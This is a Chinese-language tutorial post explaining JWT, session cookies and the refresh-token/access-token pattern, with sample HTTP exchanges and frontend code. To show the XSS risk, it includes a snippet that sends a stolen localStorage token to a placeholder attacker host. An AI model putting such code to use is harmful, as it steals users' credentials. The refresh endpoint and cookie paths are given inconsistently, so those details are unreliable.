你有沒有想過,當你登入一個網站後,為什麼不用每點一個頁面就重新輸入帳號密碼?網站到底是怎麼「記住」你是誰的?
這篇文章會用最白話的方式,帶你搞懂兩種最常見的身份驗證方式:JWT 和 Session Cookie。更重要的是,我們會聊聊業界現在怎麼把這兩種方法「混搭」起來,做出既安全又好用的登入系統。
不管你是剛入門的新手,還是想優化現有系統的開發者,看完這篇你就會有清楚的概念了!
兩種主流的身份驗證方式
JWT 是什麼?
JWT(JSON Web Token)簡單說就是一張「通行證」。你登入成功後,伺服器會給你一張通行證(Token),之後你每次要進入會員專區,就出示這張通行證就好。
JWT 怎麼運作?
sequenceDiagram
participant B as 瀏覽器
participant S as 伺服器
B->>S: 1. 登入(帳號、密碼)
S->>B: 2. 給你 Token(放在回應 Body)
Note over B: 3. 把 Token 存起來<br/>(通常放 Local Storage)
B->>S: 4. 要資料囉!<br/>Header: Authorization: Bearer xxx
S->>B: 5. OK,資料給你實際的 HTTP 長什麼樣?
步驟 1:登入請求
POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json
{
"username": "user@example.com",
"password": "mypassword123"
}步驟 2:伺服器回傳 Token(放在 Body)
HTTP/1.1 200 OK
Content-Type: application/json
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123signature",
"expiresIn": 3600
}步驟 4:帶著 Token 打 API
GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123signature步驟 5:拿到資料
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 123,
"name": "小明",
"email": "user@example.com"
}JWT 的重點整理
- Token 怎麼拿:伺服器直接放在回應的 Body 裡給你
- Token 怎麼存:你自己決定,通常放 Local Storage
- Token 怎麼用:放在 HTTP Header 的
Authorization: Bearer <token> - 伺服器要不要記東西:不用!Token 本身就包含所有資訊(這叫「無狀態」)
延伸閱讀:JWT 是什麼?運作原理完整解析
Session Cookie 是什麼?
Session Cookie 的概念比較像「會員卡」。你登入後,伺服器會在自己的系統裡記錄你的資訊,然後給你一張會員卡(Session ID)。之後你來消費,只要出示會員卡,伺服器就去查你是誰。
Session Cookie 怎麼運作?
sequenceDiagram
participant B as 瀏覽器
participant S as 伺服器
participant DB as Session Store
B->>S: 1. 登入(帳號、密碼)
S->>DB: 2. 建立 Session 記錄
S->>B: 3. 給你會員卡號<br/>Set-Cookie: sid=xxx
Note over B: 4. 瀏覽器自動存起來
B->>S: 5. 要資料囉!<br/>Cookie: sid=xxx(自動帶上)
S->>DB: 6. 查一下這張卡是誰的
S->>B: 7. OK,資料給你實際的 HTTP 長什麼樣?
步驟 1:登入請求
POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json
{
"username": "user@example.com",
"password": "mypassword123"
}步驟 3:伺服器回傳 Session ID(放在 Header 的 Set-Cookie)
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: sid=abc123xyz789; HttpOnly; Secure; SameSite=Strict; Max-Age=86400
{
"message": "登入成功"
}注意!Session ID 不是放在 Body,而是放在
Set-Cookie這個 Header 裡
步驟 5:瀏覽器自動帶上 Cookie 打 API
GET /api/profile HTTP/1.1
Host: example.com
Cookie: sid=abc123xyz789你不用寫任何程式碼,瀏覽器會自動把 Cookie 帶上去!
步驟 7:拿到資料
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 123,
"name": "小明",
"email": "user@example.com"
}Session Cookie 的重點整理
- Session ID 怎麼拿:伺服器用
Set-Cookie塞給你 - Session ID 怎麼存:瀏覽器自動幫你存在 Cookie
- Session ID 怎麼用:瀏覽器自動帶,你不用管
- 伺服器要不要記東西:要!需要一個 Session Store(像 Redis)來存資料
延伸閱讀:Session 入門:為什麼不該把用戶資料直接存在 Cookie?
JWT Token 存哪裡才安全?
Local Storage 的問題
前面提到 Session ID 是透過 Set-Cookie 傳回來的,瀏覽器會自動幫你存好,你完全不用煩惱儲存的問題。
但 JWT 就不一樣了——Token 是放在 Response Body 裡,你得自己決定要存在哪裡。
大家最常的做法是存在 Local Storage。
什麼是 Local Storage?
Local Storage 是瀏覽器提供的一塊儲存空間,你可以把它想像成「瀏覽器裡的小硬碟」。它可以讓網站把一些資料存在使用者的電腦上,而且關掉瀏覽器再打開,資料還會在。
存資料的方式很簡單,就是「一個名稱對應一個值」,例如你可以存一筆叫 token 的資料,值是 abc123。
你可以打開瀏覽器的開發者工具(按 F12),到 Application → Local Storage 看看目前網站存了什麼東西。
用 JavaScript 存取 Local Storage 超簡單:
// 存 Token
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIs...');
// 讀 Token
const token = localStorage.getItem('token');聽起來很方便對吧?但這裡有個大問題:
JavaScript 能讀到 = 壞人也能讀到
想像一下,如果你的網站有 XSS 漏洞(就是有人能在你網站上執行他的程式碼),壞人只要寫幾行程式就能偷走你的 Token:
// 壞人的程式碼
const stolenToken = localStorage.getItem('token');
fetch('https://evil-server.com/steal', {
method: 'POST',
body: JSON.stringify({ token: stolenToken })
});
// Token 就這樣被偷走了...這就是為什麼資安專家會說:不要把敏感資料存在 Local Storage!
HTTP-Only Cookie:比較安全的選擇
有沒有辦法讓 JavaScript 讀不到我們存的東西呢?
有!我們可以改用 Cookie 來存,而且加上 HttpOnly 這個設定。
先來認識 Cookie
Cookie 也是瀏覽器提供的一種儲存空間,跟 Local Storage 有點像,但有幾個重要的差異:
| 特性 | Local Storage | Cookie |
|---|---|---|
| 怎麼存進去 | 你用 JS 自己存 | 可以由伺服器透過 Set-Cookie 幫你存 |
| 發請求時 | 你要自己帶 | 瀏覽器自動帶上 |
| 可以設定屬性 | 沒什麼特別的 | 有很多安全相關的屬性可以設 |
還記得前面 Session Cookie 的例子嗎?伺服器回傳時用 Set-Cookie 把 Session ID 塞給瀏覽器,瀏覽器就自動存起來了。
什麼是 HTTP-Only?
HttpOnly 是 Cookie 的一個安全屬性。當 Cookie 被標記為 HttpOnly 時,JavaScript 完全無法存取它——只有瀏覽器在發送請求時才會自動帶上。
Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict比一比
| 特性 | Local Storage | HTTP-Only Cookie |
|---|---|---|
| JavaScript 能讀嗎? | ✅ 能 | ❌ 不能 |
| XSS 能偷嗎? | ✅ 能 | ❌ 不能 |
| 發請求要自己帶嗎? | 要 | 不用,瀏覽器自動帶 |
看起來 HTTP-Only Cookie 完勝啊!那我們把 JWT 存在 HTTP-Only Cookie 不就好了嗎?
事情沒那麼簡單…
兩難的困境
把 JWT 存在 Cookie 會怎樣?
既然 HTTP-Only Cookie 這麼安全,那我們請伺服器把 JWT 用 Set-Cookie 傳回來不就好了嗎?
sequenceDiagram
participant B as 瀏覽器
participant S as 伺服器
B->>S: 1. 登入
S->>B: 2. Set-Cookie: token=jwt_xxx (HttpOnly)
Note over B: Token 安全地存在 Cookie 了!
B->>S: 3. 要資料囉!<br/>Cookie: token=jwt_xxx(瀏覽器自動帶)
Note over S: 等等...這是什麼?🤔實際的 HTTP 長什麼樣?
步驟 2:伺服器把 JWT 放在 Set-Cookie 回傳
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Secure
{
"message": "登入成功"
}步驟 3:瀏覽器自動帶上 Cookie 打 API
GET /api/profile HTTP/1.1
Host: example.com
Cookie: token=eyJhbGciOiJIUzI1NiIs...問題來了!
看出問題了嗎?
回想一下前面 JWT 的標準做法,Token 應該要放在 Authorization 這個 Header:
GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...但現在瀏覽器自動帶的是 Cookie 這個 Header:
GET /api/profile HTTP/1.1
Host: example.com
Cookie: token=eyJhbGciOiJIUzI1NiIs...伺服器看到會很困惑:「我收到的是 Cookie header,這到底是 JWT 還是 Session ID?我該怎麼處理?」
❌ 伺服器收到:Cookie: token=eyJhbGciOiJIUzI1NiIs...
✅ 伺服器期待:Authorization: Bearer eyJhbGciOiJIUzI1NiIs...那用 JavaScript 改 Header 呢?
有人會想:「瀏覽器自動帶的 Header 不對,那我用 JavaScript 把 Cookie 裡的 JWT 讀出來,再手動放到 Authorization Header 不就好了?」
想法大概是這樣:
// 1. 從 Cookie 讀出 JWT
const jwt = getCookie('token');
// 2. 手動放到正確的 Header
fetch('/api/profile', {
headers: {
'Authorization': `Bearer ${jwt}` // 放到正確的地方!
}
});聽起來很完美對吧?
問題是:要用 JS 讀,就不能用 HttpOnly
還記得我們為什麼要用 HTTP-Only Cookie 嗎?就是為了讓 JavaScript 讀不到,這樣壞人的 XSS 攻擊就偷不走。
但如果你要用 JavaScript 讀取 Cookie 再放到 Header,那你就不能設定 HttpOnly,不然 JavaScript 根本讀不到啊!
# 如果你要 JS 能讀,就只能這樣設定(沒有 HttpOnly)
Set-Cookie: token=eyJhbGciOiJIUzI1NiIs...; Secure
# 這樣 JS 就能讀了,但壞人的 JS 也能讀了... 💀這就變成一個死循環
| 你想要… | 你需要… | 結果 |
|---|---|---|
| 安全(XSS 偷不走) | 設定 HttpOnly | JS 讀不到,沒辦法放到 Authorization Header |
| 符合 JWT 標準 | JS 要能讀取 | 不能設定 HttpOnly,XSS 可以偷走 |
怎麼選都有問題… 😫
業界的解法——雙 Token 機制
解決問題的核心思路
還記得前面的困境嗎?
- JWT 放 Local Storage → 不安全,XSS 可以偷走
- JWT 放 HttpOnly Cookie → 安全,但瀏覽器帶的是
CookieHeader,不符合 JWT 標準 - 用 JS 讀 Cookie 再放到正確 Header → 那就不能用 HttpOnly,又不安全了
問題的根源是:我們想要「安全」和「符合標準」,但這兩件事好像互相衝突。
業界的洞察是:既然一個 Token 做不到,那就用兩個 Token,各自負責一件事!
設計思路
先用一個現實生活的例子來理解:
🎢 遊樂園的「年票」和「當日手環」
想像你買了遊樂園的年票:
| 說明 | 年票 | 當日手環 |
|---|---|---|
| 長什麼樣 | 一張塑膠卡片 | 戴在手上的手環 |
| 放哪裡 | 收在皮夾裡,不會隨便拿出來 | 戴在手上,隨時能出示 |
| 有效期 | 一年 | 當天 |
| 用途 | 去櫃檯換當日手環 | 玩設施時出示給工作人員看 |
流程是這樣的:
- 你拿年票去櫃檯,換一個當日手環
- 接下來玩設施時,出示手環就好,不用一直掏年票
- 手環壞了或隔天再來?再拿年票去換一個新手環
為什麼要這樣設計?
- 年票很重要(掉了要花錢補辦),所以收好不要一直拿出來 → 安全
- 手環很方便(戴在手上隨時能出示),而且就算弄丟,最多損失一天 → 方便又損失有限
回到我們的問題,概念是一樣的:
| 長效憑證(像年票) | 短效憑證(像手環) | |
|---|---|---|
| 放哪裡 | 收好,不讓人輕易拿到 | 放在方便取用的地方 |
| 有效期 | 長 | 短 |
| 用途 | 換取短效憑證 | 實際去做事情 |
| 被偷的損失 | 很嚴重(但很難偷) | 有限(反正快過期了) |
這就是雙 Token 機制的核心概念——用兩種不同特性的憑證來分工,兼顧安全與方便!
短效 Token 過期了怎麼辦?用長效憑證去換一個新的就好!
具體實作:Refresh Token + Access Token
上面的概念落實到實作,就是業界常用的 Refresh Token + Access Token 機制:
| Token | 像什麼 | 存哪裡 | 效期 | 用途 |
|---|---|---|---|---|
| Refresh Token | 年票 | HTTP-Only Cookie | 長(7-30 天) | 換 Access Token |
| Access Token | 當日手環 | 記憶體(JS 變數) | 短(5-60 分鐘) | 呼叫需要登入的 API |
為什麼這樣能解決問題?
1️⃣ Refresh Token 放 HttpOnly Cookie
HttpOnly Cookie 的好處是 JavaScript 讀不到,所以 XSS 攻擊偷不走。
但你可能會問:「瀏覽器會自動用 Cookie Header 帶上去,不是說這樣不符合 JWT 標準嗎?」
沒錯,但這裡不符合 JWT 標準也沒關係!
因為 Refresh Token 的設計其實是借鏡 Session ID 的做法:
- 存在 HttpOnly Cookie 裡
- 瀏覽器自動帶上
- 伺服器收到後去資料庫查驗
既然是借鏡 Session ID,那 Refresh Token 不一定要用 JWT 格式,用 UUID 之類的隨機字串也完全可以:
# 這兩種都可以當 Refresh Token
eyJhbGciOiJIUzI1NiIs... ← JWT 格式
550e8400-e29b-41d4-a716... ← UUID 格式不管用什麼格式,反正伺服器都要去資料庫查「這個 Refresh Token 是不是有效的」,所以格式不重要。
我們會設計一個專門用來換 Token 的 API(例如 /api/refresh),這個 API 從一開始就設計成「從 Cookie 讀取 Refresh Token」。所以不會有「格式對不上」的問題,因為它本來就預期收到 Cookie。
簡單說,不同的 API 用不同的方式讀取憑證:
| API | 從哪裡讀取憑證 |
|---|---|
/api/refresh(換 Token 專用) | 從 Cookie Header 拿 Refresh Token |
/api/profile、/api/orders 等一般 API | 從 Authorization Header 拿 Access Token |
各走各的路,互不干擾!
✅ 安全(XSS 偷不走)
✅ 不用煩惱 Header 格式問題(因為 /api/refresh 本來就設計成讀 Cookie)
2️⃣ Access Token 放在 Response Body,存在 JavaScript 變數裡
Access Token 是真正拿來打一般 API 的,所以它必須能放到 Authorization: Bearer Header。
怎麼做到?
- 前端呼叫
/api/refresh(瀏覽器自動帶上 Refresh Token Cookie) - 伺服器驗證 Refresh Token 後,把 Access Token 放在 Response Body 回傳
- 前端用 JavaScript 接收,存在變數裡
- 之後打 API 時,手動把 Access Token 放到
AuthorizationHeader
// 就是這麼簡單
let accessToken = null;
async function refreshToken() {
const response = await fetch('/api/refresh', {
credentials: 'include' // 瀏覽器會自動帶上 Refresh Token Cookie
});
const data = await response.json();
accessToken = data.accessToken; // 存在變數裡
}
async function callAPI(url) {
return fetch(url, {
headers: {
'Authorization': `Bearer ${accessToken}` // 手動放到正確的 Header
}
});
}「存在變數裡」就是所謂的 In-Memory(存在記憶體)。
你可能會問:「JavaScript 能讀到,那 XSS 不是也能偷走嗎?」
沒錯,理論上可以。但有兩個因素降低了風險:
- 效期很短(通常 5-60 分鐘):就算被偷,壞人能用的時間也很有限
- 時機要對:攻擊者必須在 Token 還有效的時候,剛好執行惡意程式碼才能偷到
✅ 可以放到標準的 Authorization: Bearer Header
✅ 效期短,就算被偷損失也有限
3️⃣ 「存在記憶體」有什麼缺點?
| 優點 | 缺點 |
|---|---|
| 可以手動放到正確的 Header | 重新整理頁面就沒了 |
| XSS 比較難偷(要在對的時機) | 關掉分頁就沒了 |
「重新整理就沒了」不是很麻煩嗎?
其實還好!因為 Refresh Token 還安全地躺在 Cookie 裡啊!
使用者重新整理頁面後:
- Access Token 消失了(因為變數被清空)
- 前端自動呼叫
/api/refreshAPI - 瀏覽器自動帶上 Refresh Token Cookie
- 伺服器驗證後,回傳新的 Access Token
- 前端存到變數裡,繼續用
使用者完全沒感覺! ✨
4️⃣ 總結:兩者配合,魚與熊掌兼得
| 角色 | 誰負責 | 像什麼 | 特性 |
|---|---|---|---|
| 換 Token | Refresh Token | 年票 | 安全(HttpOnly),長效期 |
| 呼叫 API | Access Token | 當日手環 | 標準(Authorization Header),短效期 |
這就是為什麼這個機制這麼聰明——它把「安全」和「標準」的責任分開,讓兩種 Token 各司其職!🎉
完整流程是這樣的
sequenceDiagram
participant B as 瀏覽器
participant S as 伺服器
participant DB as Token Store
Note over B,DB: === 登入階段 ===
B->>S: 1. 登入(帳號、密碼)
S->>DB: 2. 記錄 Refresh Token
S->>B: 3. Set-Cookie: refresh_token=xxx (HttpOnly)
Note over B,DB: === 換 Token 階段 ===
B->>S: 4. 我要換 Access Token!
Note right of B: Cookie: refresh_token=xxx(自動帶)
S->>DB: 5. 確認一下這個 Refresh Token
S->>B: 6. OK! Access Token 給你(放在 Body)
Note over B: 7. 把 Access Token 存在變數裡
Note over B,DB: === 呼叫 API 階段 ===
B->>S: 8. 要資料!
Note right of B: Authorization: Bearer access_token
S->>B: 9. 資料來囉!實際的 HTTP 長什麼樣?
🔐 登入階段
步驟 1:送出登入請求
POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json
{
"username": "user@example.com",
"password": "mypassword123"
}步驟 3:伺服器回傳 Refresh Token(放在 Set-Cookie,不是 Body!)
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: refresh_token=dGhpc2lzYXJlZnJlc2h0b2tlbg...; HttpOnly; Secure; SameSite=Strict; Max-Age=2592000; Path=/api/refresh
{
"message": "登入成功"
}Refresh Token 用
HttpOnly保護起來,JavaScript 讀不到,安全!
🔄 換 Token 階段
步驟 4:請求換 Access Token(瀏覽器自動帶上 Refresh Token Cookie)
POST /api/refresh HTTP/1.1
Host: example.com
Cookie: refresh_token=dGhpc2lzYXJlZnJlc2h0b2tlbg...你不用寫任何程式碼帶 Refresh Token,瀏覽器自動帶!
步驟 6:伺服器回傳 Access Token(放在 Body)
HTTP/1.1 200 OK
Content-Type: application/json
{
"accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123",
"expiresIn": 900
}Access Token 放在 Body,前端拿到後存在 JavaScript 變數裡
📦 打 API 階段
步驟 8:帶著 Access Token 打 API(手動放到 Authorization Header)
GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123這次是標準的 JWT 格式了!放在
Authorization: BearerHeader
步驟 9:拿到資料
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 123,
"name": "小明",
"email": "user@example.com"
}重點整理:兩種 Token 各司其職
| 說明 | Refresh Token | Access Token |
|---|---|---|
| 放哪裡 | Set-Cookie Header | Response Body |
| 存哪裡 | 瀏覽器 Cookie(自動) | JavaScript 變數(手動) |
| 怎麼帶 | 瀏覽器自動帶 Cookie Header | 手動放 Authorization Header |
| 安全性 | HttpOnly 保護,XSS 偷不走 | 在記憶體,效期短 |
為什麼要這麼麻煩?
你可能在想:「搞這麼複雜幹嘛?直接用 Session Cookie 不是很簡單嗎?」
好問題!讓我們來看看各自的問題。
Session Cookie 的痛點
痛點一:每次請求都要查資料庫
用 Session Cookie 時,每打一次 API 都要去 Session Store 確認身份:
sequenceDiagram
participant B as 瀏覽器
participant S as 伺服器
participant DB as Session Store
B->>S: 打 API 1
S->>DB: 查 Session
S->>B: 回應
B->>S: 打 API 2
S->>DB: 查 Session
S->>B: 回應
B->>S: 打 API 3
S->>DB: 查 Session
S->>B: 回應
Note over DB: 我好累... 😰使用者一多,Session Store 就爆炸了。
痛點二:擴展很麻煩
Session Store 是「中心化」的,所有伺服器都要連到同一個地方。要擴展只能把機器升級(垂直擴展),不能用很多小機器分擔(水平擴展)。
雙 Token 機制的好處
好處一:大幅減少資料庫查詢
sequenceDiagram
participant B as 瀏覽器
participant S as 伺服器
participant DB as Token Store
Note over B,DB: 每 15 分鐘才查一次
B->>S: 換 Access Token
S->>DB: 驗證 Refresh Token
S->>B: 給 Access Token
Note over B,S: 接下來 15 分鐘內<br/>都不用查資料庫!
B->>S: 打 API(直接驗 JWT)
S->>B: 回應
B->>S: 打 API(直接驗 JWT)
S->>B: 回應
B->>S: 打 API(直接驗 JWT)
S->>B: 回應假設 Access Token 15 分鐘過期,使用者在這期間打了 100 次 API:
| 方式 | 查資料庫次數 |
|---|---|
| Session Cookie | 100 次 |
| 雙 Token 機制 | 1 次 |
差了 100 倍!
好處二:可以水平擴展
Access Token(JWT)不需要查資料庫就能驗證,所以你可以開很多台伺服器,每台都能獨立處理請求。超適合微服務架構!
好處三:安全性也顧到了
- Refresh Token 存在 HttpOnly Cookie → XSS 偷不走
- Access Token 效期短 → 就算被偷,損失有限
什麼時候用什麼?
| 你的情況 | 建議 |
|---|---|
| 個人部落格、小專案 | Session Cookie(簡單就好) |
| 前後端分離的 SPA | 雙 Token 機制 |
| 大型電商、社群平台 | 雙 Token 機制 |
| 傳統 PHP、Django 網站 | Session Cookie |
| 微服務架構 | 雙 Token 機制 |
實務上的眉角
Refresh Token 的安全設定
Set-Cookie: refresh_token=xxx; HttpOnly; Secure; SameSite=Strict; Max-Age=2592000; Path=/refresh-token| 設定 | 幹嘛用的 |
|---|---|
HttpOnly | JS 讀不到 |
Secure | 只在 HTTPS 傳送 |
SameSite=Strict | 防 CSRF 攻擊 |
Max-Age=2592000 | 30 天後過期 |
Path=/refresh-token | 只有特定路徑才帶 |
效期怎麼設?
| Token | 建議效期 | 為什麼 |
|---|---|---|
| Access Token | 5-60 分鐘 | 短一點比較安全 |
| Refresh Token | 7-30 天 | 太短使用者要一直登入很煩 |
實際案例:
- 銀行系統:Access Token 5 分鐘,Refresh Token 1 天
- 一般網站:Access Token 30 分鐘,Refresh Token 14 天
- 社群媒體:Access Token 1 小時,Refresh Token 30 天
登出怎麼做?
如果 Refresh Token 被偷了怎麼辦?把它作廢就好!
sequenceDiagram
participant B as 瀏覽器
participant S as 伺服器
participant DB as Token Store
B->>S: 我要登出!
S->>DB: 把這個 Refresh Token 刪掉
S->>B: 好,Cookie 也清掉了
Note over B: 登出成功 👋登出後會發生什麼?
- 這台裝置:馬上登出
- 其他裝置:Access Token 還能用,但最多撐到過期(例如 15 分鐘)
- 15 分鐘後:想換新 Token?不行,Refresh Token 已經被刪了,乖乖重新登入吧
前端怎麼寫?
class AuthService {
constructor() {
this.accessToken = null;
this.expiresAt = null;
}
async login(username, password) {
await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password }),
credentials: 'include' // 重要!讓瀏覽器存 Cookie
});
// 登入後換 Access Token
await this.refreshToken();
}
async refreshToken() {
const response = await fetch('/api/refresh-token', {
method: 'POST',
credentials: 'include'
});
if (!response.ok) {
throw new Error('登入過期,請重新登入');
}
const data = await response.json();
this.accessToken = data.accessToken;
this.expiresAt = Date.now() + data.expiresIn * 1000;
}
async getValidToken() {
// 快過期了就先換新的
if (!this.accessToken || Date.now() > this.expiresAt - 60000) {
await this.refreshToken();
}
return this.accessToken;
}
async callAPI(url, options = {}) {
const token = await this.getValidToken();
return fetch(url, {
...options,
headers: {
...options.headers,
'Authorization': `Bearer ${token}`
}
});
}
async logout() {
await fetch('/api/logout', {
method: 'POST',
credentials: 'include'
});
this.accessToken = null;
this.expiresAt = null;
}
}
// 用法
const auth = new AuthService();
await auth.login('user@example.com', 'password');
const userData = await auth.callAPI('/api/user/profile');名詞小抄
| 名詞 | 白話解釋 |
|---|---|
| JWT | 一種通行證格式,自帶資訊,不用查資料庫就能驗證 |
| Access Token | 短期通行證,拿來打 API 用的 |
| Refresh Token | 長期憑證,拿來換新的 Access Token |
| Session | 伺服器記住你是誰的方式 |
| Session ID | 會員卡號,伺服器用這個查你是誰 |
| Cookie | 瀏覽器的小型儲存空間,會自動帶在請求裡 |
| HttpOnly | Cookie 的設定,讓 JS 讀不到 |
| Stateless(無狀態) | 伺服器不用記東西 |
| Stateful(有狀態) | 伺服器要記東西 |
| XSS | 壞人在你網站上執行他的程式碼 |
| CSRF | 壞人誘騙你的瀏覽器發送請求 |
| In-Memory | 存在程式的變數裡,重新整理就沒了 |
| Redis | 常用來存 Session 的快取資料庫 |
總結
重點回顧
- JWT:不用查資料庫、好擴展,但存在 Local Storage 有風險
- Session Cookie:安全好用,但每次都要查資料庫、不好擴展
- 雙 Token 機制:結合兩者優點
- Refresh Token 存 HttpOnly Cookie → 安全
- Access Token 存記憶體 → 符合標準又不用一直查資料庫
怎麼選?
- 新手 / 小專案 → Session Cookie,先學會基本的
- 前後端分離 / 大專案 / 微服務 → 雙 Token 機制
想深入了解?
- OAuth 2.0 規範
- OpenID Connect
- JWT.io(線上 JWT 解析工具)
- OWASP 安全指南
希望這篇有幫助到你!如果有任何問題,歡迎留言討論 🙌